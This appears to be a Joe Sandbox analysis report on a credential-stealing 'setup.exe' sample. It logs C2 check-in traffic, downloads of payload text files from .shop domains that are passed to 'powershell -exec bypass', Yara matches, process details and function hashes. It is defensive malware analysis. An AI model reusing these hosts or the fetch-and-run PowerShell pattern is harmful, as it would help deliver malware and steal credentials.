2024-12-24 00:17:25 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 53 42 45 52 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--SBER&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=863BF53A324CFB41A09871F9FA63DC5E
2024-12-24 00:17:26 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5p857inah7fs6rmt4lhue0hctf; expires=Fri, 18 Apr 2025 18:04:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XP66aMDsmYOhRGHCwfO6czDbMvezIoYJn%2F2eNt7%2FF6RHlorLO%2F22%2FQGKQpzVgICBXbsmJOqx%2FmA6pwA%2F2aZ3BYnAItpQobNu519UFJmpfGK86Kz1nDUV3nhUKL9ZcAgyYxqONw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c68880c6d433e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1585&rtt_var=616&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1015&delivery_rate=1744324&cwnd=249&unsent_bytes=0&cid=4981e8fef3340ff3&ts=1096&x=0"
2024-12-24 00:17:26 UTC	218	IN	Data Raw: 64 34 0d 0a 57 57 39 2f 79 51 78 37 39 76 68 38 48 41 62 54 63 54 71 77 32 65 79 47 4e 6b 32 72 51 43 53 48 6b 4f 44 68 44 47 4d 4a 52 46 49 43 46 46 32 38 4c 6b 48 55 6b 41 68 6f 64 71 42 4c 5a 70 2b 46 77 2b 68 54 50 4d 4a 75 56 2b 2f 2f 6b 4c 30 6a 45 47 30 6a 4f 43 41 61 43 35 55 6a 43 34 57 51 55 6d 68 2b 70 31 4d 57 6b 72 2b 59 70 41 78 2f 68 32 4a 42 70 61 72 52 6e 43 41 59 4b 7a 46 77 59 30 30 58 76 58 67 4c 68 63 49 67 4d 31 72 38 47 6c 62 5a 71 5a 6a 76 54 44 79 46 4d 30 7a 6f 34 4c 7a 4f 5a 51 31 39 47 7a 45 31 48 79 43 6c 61 41 6d 70 69 78 52 39 4b 4b 63 4a 54 70 4c 31 7a 75 42 43 62 35 46 79 43 4b 58 31 77 74 73 39 48 6c 51 3d 0d 0a Data Ascii: d4WW9/yQx79vh8HAbTcTqw2eyGNk2rQCSHkODhDGMJRFICFF28LkHUkAhodqBLZp+Fw+hTPMJuV+//kL0jEG0jOCAaC5UjC4WQUmh+p1MWkr+YpAx/h2JBparRnCAYKzFwY00XvXgLhcIgM1r8GlbZqZjvTDyFM0zo4LzOZQ19GzE1HyClaAmpixR9KKcJTpL1zuBCb5FyCKX1wts9HlQ=
2024-12-24 00:17:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49733	104.21.27.229	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:27 UTC	199	OUT	GET /sdgjyut/psh.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: neqi.shop
2024-12-24 00:17:31 UTC	945	IN	HTTP/1.1 523 Date: Tue, 24 Dec 2024 00:17:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v6B6JLr%2F%2Fxf4uLmh%2FftuPf6uzVySIULhtpY4WVL4aldzVy86nTdDlOCbgXGS7f2IdbbmhuQDUtZBUb%2BNiIGIvso7Y5iyjmUSZcSC8mGwYuKEkXzlQcA1oMTYqo8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8f6c6897697543aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1565&rtt_var=603&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=813&delivery_rate=1789215&cwnd=241&unsent_bytes=0&cid=bf475e53b4daa0bd&ts=3389&x=0"
2024-12-24 00:17:31 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 33 Data Ascii: error code: 523

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49744	172.67.191.144	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:32 UTC	207	OUT	GET /int_clp_ldr_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: kliptizq.shop
2024-12-24 00:17:33 UTC	548	IN	HTTP/1.1 403 Forbidden Date: Tue, 24 Dec 2024 00:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j7DS6dx1ZnlIPdu66HNxgp4N0GycEHRAPhVl2Yag3XgyOykTnXiu8nce2OZ%2BezfWOnG1FxJXRai17nVwv2ut7CywyTktglWvv%2BH6%2FODqgn09lNvAJ5FXaAz1kDakCoeb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c68b55c464210-EWR
2024-12-24 00:17:33 UTC	821	IN	Data Raw: 31 31 64 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11d4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-24 00:17:33 UTC	1369	IN	Data Raw: 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d Data Ascii: errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-
2024-12-24 00:17:33 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-c
2024-12-24 00:17:33 UTC	1013	IN	Data Raw: 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e Data Ascii: " class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span
2024-12-24 00:17:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:17:00
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0x400000
File size:	74'567'204 bytes
MD5 hash:	E9F9E4DDB34CBEF682E650569394A4E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2358340194.0000000003130000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2222778947.0000000000726000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:17:30
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass error code: 523
Imagebase:	0x130000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:17:30
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:17:32
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="7hyQL7q5CobImDmxFKBooYHwB7YP8UpEiGhRamQe27s-1734999453-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div><!-- /.section --> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c68b55c464210</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script> window._cf_translation = {}; </script> </body> </html>
Imagebase:	0x130000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:17:32
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 007184A8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2244936609.000000000070F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0070F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6d4000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Analysis Process: powershell.exePID: 7164, Parent PID: 3448COMMON

Executed Functions

Function 07BB1C10 Relevance: 5.6, Strings: 4, Instructions: 564COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07BB1F58
4'jq, xrefs: 07BB1F4E
4'jq, xrefs: 07BB20B0
4'jq, xrefs: 07BB20BA

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq
API String ID: 0-4000621977
Opcode ID: 8c9818614d4f4703bbc654d77b89d29e100542602a2be332a2abaf5ddbc7fc3a
Instruction ID: dccfd9a4252b13b49eba01a39fe2668463863c5e4b49a4678d0059c7d7b0d752
Opcode Fuzzy Hash: 8c9818614d4f4703bbc654d77b89d29e100542602a2be332a2abaf5ddbc7fc3a
Instruction Fuzzy Hash: 1E1228F170425A8FE7258B6C98206FABBA2EFC6311F1480EADD05CF291DB75C945C7A1

Function 050029F0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2369212373.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16bbbe0cb43d7bb1d9b04bc016ac8865cd9d6716c4a3ef82e3ba2b4c60ad2d1c
Instruction ID: 79d28c9b54d99750d6c9255ad9954bceaeb2166378589f8887c3a1c0f26f3a0d
Opcode Fuzzy Hash: 16bbbe0cb43d7bb1d9b04bc016ac8865cd9d6716c4a3ef82e3ba2b4c60ad2d1c
Instruction Fuzzy Hash: 33914A74A006069FCB15CF98C598ABEFBB1FF49310F248569D815AB3A5C735EC91CBA0

Function 07BB1BF1 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40724c941061b31aa7e6553982374eff495e4d97262c943c7eae105e28159141
Instruction ID: 66431ca26a2edb8652249c00b22e1ba2fc085876e8ab3c26b333f7c936e9abe9
Opcode Fuzzy Hash: 40724c941061b31aa7e6553982374eff495e4d97262c943c7eae105e28159141
Instruction Fuzzy Hash: 7C41F6F0B0420E9FEB358B1D8960AB97BA2EF86350F1440E9CD019F255DBB5D844C7A1

Function 05002B00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2369212373.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733e450398a6ef9653400150f7cbe1bb4c0bbca5996eef0e21d668e8e49a9c4d
Instruction ID: c7e786bf59b3dcdd8e5edf332d97dcdb682eb975f262e6251b35bab0bef9536b
Opcode Fuzzy Hash: 733e450398a6ef9653400150f7cbe1bb4c0bbca5996eef0e21d668e8e49a9c4d
Instruction Fuzzy Hash: 7D41E478A005169FDB05CF58D598EBEFBB1FF48310F158159D816AB2A4C732EC91CBA4

Function 05004C20 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2369212373.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e884903d837731b34ad648e1d5bc23b4fcb2bf2e535d49ad9406a630ba017c
Instruction ID: a65814f293d10aeaaf31d5a8b74ae033ae5aa700fb949713de8851ad8b6d2f35
Opcode Fuzzy Hash: 55e884903d837731b34ad648e1d5bc23b4fcb2bf2e535d49ad9406a630ba017c
Instruction Fuzzy Hash: FD31E4B5A082458FCB02CB1CD8849AEBBB0FF59340F0941EAD885DB392D634EC06CB95

Function 05002C85 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2369212373.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa1bbf4072fd3b3ceecbcf3a71c309018e68f32842d1915ffae24301ce73c31
Instruction ID: 2661bd4b46695fece69b321f325f04cb009477a310586254566df02e2c7cd9bc
Opcode Fuzzy Hash: eaa1bbf4072fd3b3ceecbcf3a71c309018e68f32842d1915ffae24301ce73c31
Instruction Fuzzy Hash: 6E218E3590E2918FD7079B7CD8A49EDBF70EF46224F1941CBD1809B1A3C6298C4AC761

Function 05004C18 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2369212373.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1a5ec70c34a0776058e785bb0a0dfcf5eb5fa598c12d7ddd73dafb515be5d5
Instruction ID: 1026787a823cb1ec0ab143318bd1036a6f81d886522a64f6942afc6f15b36d3a
Opcode Fuzzy Hash: ad1a5ec70c34a0776058e785bb0a0dfcf5eb5fa598c12d7ddd73dafb515be5d5
Instruction Fuzzy Hash: B611D778A00609DFCB40CF98D580DAEBBF5FF89310B158599D909AB361C731ED85CBA1

Function 0326D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2367987865.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_326d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e10ae4783bc9a630516ebbdbcb889ca74594f12d6ed5a2fcd01925ee67446630
Instruction ID: 70e67e94497993d1e76a27bc86f2e435eebb5cade803474626bd56885fa565f1
Opcode Fuzzy Hash: e10ae4783bc9a630516ebbdbcb889ca74594f12d6ed5a2fcd01925ee67446630
Instruction Fuzzy Hash: FC012B71215748DAE720CA15CD84B67FF9CEF85320F1CC46AED480B246C27998C1CAB1

Function 0326D006 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2367987865.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_326d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a2711ac22b75f508bc22c083450e4c38f9750d85ac0937c2f8c2ff9d52593c6
Instruction ID: 65965264b99e9bcafdf1ade7e90f4022e5bed056b98c0c394658ec905ba4d94a
Opcode Fuzzy Hash: 0a2711ac22b75f508bc22c083450e4c38f9750d85ac0937c2f8c2ff9d52593c6
Instruction Fuzzy Hash: 4101407110E3C49ED7128B258894B52BFB8EF47224F1D84DBD9888F2A3C2695885C772

Non-executed Functions

Function 07BB1270 Relevance: 9.2, Strings: 7, Instructions: 483COMMON

Download Yara Rule

Strings

tPjq, xrefs: 07BB12F9
4'jq, xrefs: 07BB14D7
$jq, xrefs: 07BB12A8
$jq, xrefs: 07BB1282
4'jq, xrefs: 07BB14E1
tPjq, xrefs: 07BB12ED
$jq, xrefs: 07BB12B4

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$tPjq$tPjq$$jq$$jq$$jq
API String ID: 0-2919996211
Opcode ID: 9412e2b90cb4813d81c486d9fd9cbf675f1594e9ada6be0bc838b8998ed0873b
Instruction ID: a4a43ae52ed3ecf24bf418d9a486d0ded05f3d3c3518a75f773fd3a80f20e952
Opcode Fuzzy Hash: 9412e2b90cb4813d81c486d9fd9cbf675f1594e9ada6be0bc838b8998ed0873b
Instruction Fuzzy Hash: 41F117F170421D8FE7248B6D94206BABBA6EF85321F1480BAD906CF251EA75DC45CBA1

Function 07BB04E0 Relevance: 9.1, Strings: 7, Instructions: 313COMMON

Download Yara Rule

Strings

tPjq, xrefs: 07BB072D
4'jq, xrefs: 07BB05E3
$jq, xrefs: 07BB06F4
4'jq, xrefs: 07BB05EF
$jq, xrefs: 07BB06C2
tPjq, xrefs: 07BB0739
$jq, xrefs: 07BB06E8

Memory Dump Source

Source File: 00000003.00000002.2380738102.0000000007BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7bb0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$tPjq$tPjq$$jq$$jq$$jq
API String ID: 0-2919996211
